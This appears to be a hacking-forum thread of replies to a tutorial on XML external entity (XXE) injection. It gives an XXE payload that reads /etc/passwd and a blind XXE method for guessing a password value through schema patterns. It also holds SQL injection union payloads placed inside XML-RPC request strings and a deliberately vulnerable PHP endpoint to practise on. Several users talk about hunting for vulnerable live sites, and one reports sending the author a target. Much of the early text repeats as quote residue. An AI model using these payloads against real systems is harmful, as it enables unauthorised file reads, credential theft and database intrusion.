[asm-99]

thats one method of many.
if you get an error like-
'Method "benz" does not exist',
it means the server parsed the request, and its vuln.
if you got no output with /passwd or php://filter, theres a chance that the admin disabled "SYSTEM".

Very fast loool. Thanks got it 🤝

---

thats one method of many.
if you get an error like-
'Method "benz" does not exist',
it means the server parsed the request, and its vuln.
if you got no output with /passwd or php://filter, theres a chance that the admin disabled "SYSTEM".

Very fast loool. Thanks got it 🤝

---

thats one method of many.
if you get an error like-
'Method "benz" does not exist',
it means the server parsed the request, and its vuln.
if you got no output with /passwd or php://filter, theres a chance that the admin disabled "SYSTEM".

Very fast loool. Thanks got it 🤝

---

^

Very fast loool. Thanks got it 🤝

[xXNepalmXx]

thats one method of many.
if you get an error like-
'Method "benz" does not exist',
it means the server parsed the request, and its vuln.
if you got no output with /passwd or php://filter, theres a chance that the admin disabled "SYSTEM".

In the case the admin disabled SYSTEM what should we do?

[benzi]

In the case the admin disabled SYSTEM what should we do?

the only thing i can think of is blind injection.
in blind xxe, you guess the xml tag value using binary search tree.

Code

<xs:element name="password" type="PWD"/>
…
<xs:simpleType name="PWD">
<xs:restriction base="xs:token">
<xs:pattern value="[a-m]{1}[a-z]+"/>
</xs:restriction></xs:simpleType>

if first char of "password" tag value is between 'a' and 'm', it will return true.

[Limboland™]

Benzi Good Tutorial , show more of your work !!!!!!

Thank you ✌✌

[Hooded Robin]

some PHP code for those that want to play along at home :)

Code

<?php

/*
  To trigger XXE Injection from attacker....

  POST: http://127.0.0.1/xxe.php
  DATA: <?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bar>&xxe;</bar>

*/

@libxml_disable_entity_loader(false);      // This doesn't really work like you think it would in most cases (newer PHP fixed)
$xml = @file_get_contents('php://input');   // Grab all POST data into var
$dom = new DOMDocument();            // Initiate our xml parser
$dom->loadXML($xml, LIBXML_NOENT); // load xml from string, the added argument allows entities to be resolved for poc (if your on newer PHP)
print $dom->textContent;             // display any text content from our xml data

?>

🤝

[Purest.]

Thanks so much for this dude, amazing job!

[xx 0x0 xx]

finally detailed tutorial about xxe here nice work benzi keep up and i will search for vuln site's not /api and pm u if i got any of it

some PHP code for those that want to play along at home :)

Code

<?php

/*
  To trigger XXE Injection from attacker....

  POST: http://127.0.0.1/xxe.php
  DATA: <?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bar>&xxe;</bar>

*/

@libxml_disable_entity_loader(false);      // This doesn't really work like you think it would in most cases (newer PHP fixed)
$xml = @file_get_contents('php://input');   // Grab all POST data into var
$dom = new DOMDocument();      // Initiate our xml parser
$dom->loadXML($xml, LIBXML_NOENT); // load xml from string, the added argument allows entities to be resolved for poc (if your on newer PHP)
print $dom->textContent;      // display any text content from our xml data

?>

🤝

@Hooded Robin thanks bro for making this vuln it make me understand how this exp work

glad to see you here again btw :D

[Ϲasp3r]

Can you send SQL commands via XML?
Just wondering.

[SIM-1241186]

Nice tutorial man. Good to see you still active! :)

Pretty much this.
Nice to see there's a gem amongst the shit pile here.
And good to see you're still active.
RIP Ajkaro.

[benzi]

Can you send SQL commands via XML?
Just wondering.

you mean sqli via xxe?
only in specific cases.
some sites use xml search form with sqli search query.
if the site uses xml search form like that-

Code

<methodCall><methodName>FindName</methodName>
<params>
<param>
<value>
<string>Casper</string>
</value>
</param>
</params>
</methodCall>

(Casper is our input)
and then send it to a sql query-

Code

SELECT id,name,avatar FROM ppl WHERE name LIKE '%Casper%';

so the injection payload would be like-

Code

<string>a'and 0 union select 1,2,3</string>

but i think we cant use directly an apostrophe ('), because it will break the xml query, so we can use ' instead.

Code

a' and 0 union select 1,2,3

[SIM-1866423]

I already try it.Everythings fine until execute commans.I sent you website.Am ı miss something or just vul. patched ? I'm back ur return, thanks you in advence ! 😧

[Ϲasp3r]

you mean sqli via xxe?
only in specific cases.
some sites use xml search form with sqli search query.
if the site uses xml search form like that-

Code

<methodCall><methodName>FindName</methodName>
<params>
<param>
<value>
<string>Casper</string>
</value>
</param>
</params>
</methodCall>

(Casper is our input)
and then send it to a sql query-

Code

SELECT id,name,avatar FROM ppl WHERE name LIKE '%Casper%';

so the injection payload would be like-

Code

<string>a'and 0 union select 1,2,3</string>

but i think we cant use directly an apostrophe ('), because it will break the xml query, so we can use ' instead.

Code

a' and 0 union select 1,2,3

That's pretty interesting. 🤝
I had no idea XML could be useful in LFI, RFI and be combined with other styles of attacks.

[AnonMonnik]

Awesome tutorial, Thanks for sharing.
going to bookmark this.

[Niely]

Nice tutorial mate! Glad this is something new.

[ThinkingStars]

Thanks for this sir, when i am free i will surely try this. Thanks a lot sir.

Am I fully r3t4rd3d or......, are you in jail?? o.O
hahahah